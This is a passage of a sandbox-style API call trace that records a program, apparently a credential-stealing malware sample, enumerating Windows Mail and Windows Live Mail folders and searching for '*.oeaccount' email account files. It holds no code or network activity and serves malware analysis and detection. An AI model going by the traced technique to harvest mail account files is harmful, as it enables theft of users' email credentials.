Mail") returned 0x36 [0074.220] strlen (_Str="edb.chk") returned 0x7 [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] strlen (_Str="edb.log") returned 0x7 [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] strlen (_Str="edb00001.log") returned 0xc [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] strlen (_Str="edb00002.log") returned 0xc [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] strlen (_Str="edbres00001.jrs") returned 0xf [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] strlen (_Str="edbres00002.jrs") returned 0xf [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.220] strlen (_Str="oeold.xml") returned 0x9 [0074.220] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.221] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.221] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.221] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.221] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.221] strlen (_Str="Stationery") returned 0xa [0074.221] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.221] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.221] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.221] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.221] strcmp (_Str1="Stationery", _Str2="..") returned 1 [0074.221] strcmp (_Str1="Stationery", _Str2=".") returned 1 [0074.221] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.221] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.221] strlen (_Str="*.oeaccount") returned 0xb [0074.221] _mbscpy (in: param_1=0x30df0c, param_2=0x30e2d4 | out: param_1=0x30df0c) returned 0x30df0c [0074.221] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.221] _mbscat (in: param_1=0x30df0c, param_2=0x414078 | out: param_1=0x30df0c) returned 0x30df0c [0074.221] _mbscat (in: param_1=0x30df0c, param_2=0x4154e8 | out: param_1=0x30df0c) returned 0x30df0c [0074.221] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.oeaccount", lpFindFileData=0x30e050 | out: lpFindFileData=0x30e050) returned 0xffffffff [0074.222] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.222] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.222] strlen (_Str="*.*") returned 0x3 [0074.222] _mbscpy (in: param_1=0x30e41c, param_2=0x30e7e4 | out: param_1=0x30e41c) returned 0x30e41c [0074.222] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.222] _mbscat (in: param_1=0x30e41c, param_2=0x414078 | out: param_1=0x30e41c) returned 0x30e41c [0074.222] _mbscat (in: param_1=0x30e41c, param_2=0x4147c4 | out: param_1=0x30e41c) returned 0x30e41c [0074.222] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 0x7fb1f8 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str=".") returned 0x1 [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strcmp (_Str1=".", _Str2="..") returned -1 [0074.223] strcmp (_Str1=".", _Str2=".") returned 0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="..") returned 0x2 [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strcmp (_Str1="..", _Str2="..") returned 0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="Bears.htm") returned 0x9 [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="Bears.jpg") returned 0x9 [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="Desktop.ini") returned 0xb [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="Garden.htm") returned 0xa [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="Garden.jpg") returned 0xa [0074.223] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.223] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.223] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.223] strlen (_Str="Green Bubbles.htm") returned 0x11 [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="GreenBubbles.jpg") returned 0x10 [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="Hand Prints.htm") returned 0xf [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="HandPrints.jpg") returned 0xe [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="Orange Circles.htm") returned 0x12 [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="OrangeCircles.jpg") returned 0x11 [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="Peacock.htm") returned 0xb [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="Peacock.jpg") returned 0xb [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] strlen (_Str="Roses.htm") returned 0x9 [0074.224] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.224] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.224] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] strlen (_Str="Roses.jpg") returned 0x9 [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] strlen (_Str="Shades of Blue.htm") returned 0x12 [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] strlen (_Str="ShadesOfBlue.jpg") returned 0x10 [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] strlen (_Str="Soft Blue.htm") returned 0xd [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] strlen (_Str="SoftBlue.jpg") returned 0xc [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.225] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41 [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.225] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.225] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 0 [0074.225] FindClose (in: hFindFile=0x7fb1f8 | out: hFindFile=0x7fb1f8) returned 1 [0074.226] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.226] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.226] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.226] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.226] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.226] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.226] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.226] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.226] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 0 [0074.226] FindClose (in: hFindFile=0x7f72b0 | out: hFindFile=0x7f72b0) returned 1 [0074.226] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x30f380, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0074.226] _mbscat (in: param_1=0x30f39f, param_2=0x41550c | out: param_1=0x30f39f) returned 0x30f39f [0074.226] _mbscpy (in: param_1=0x30e944, param_2=0x30ed0c | out: param_1=0x30e944) returned 0x30e944 [0074.226] _mbscat (in: param_1=0x30e944, param_2=0x414078 | out: param_1=0x30e944) returned 0x30e944 [0074.226] _mbscat (in: param_1=0x30e944, param_2=0x4154e8 | out: param_1=0x30e944) returned 0x30e944 [0074.226] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.oeaccount", lpFindFileData=0x30ea88 | out: lpFindFileData=0x30ea88) returned 0xffffffff [0074.226] _mbscpy (in: param_1=0x30ee54, param_2=0x30f21c | out: param_1=0x30ee54) returned 0x30ee54 [0074.226] _mbscat (in: param_1=0x30ee54, param_2=0x414078 | out: param_1=0x30ee54) returned 0x30ee54 [0074.226] _mbscat (in: param_1=0x30ee54, param_2=0x4147c4 | out: param_1=0x30ee54) returned 0x30ee54 [0074.226] FindFirstFileA (in: 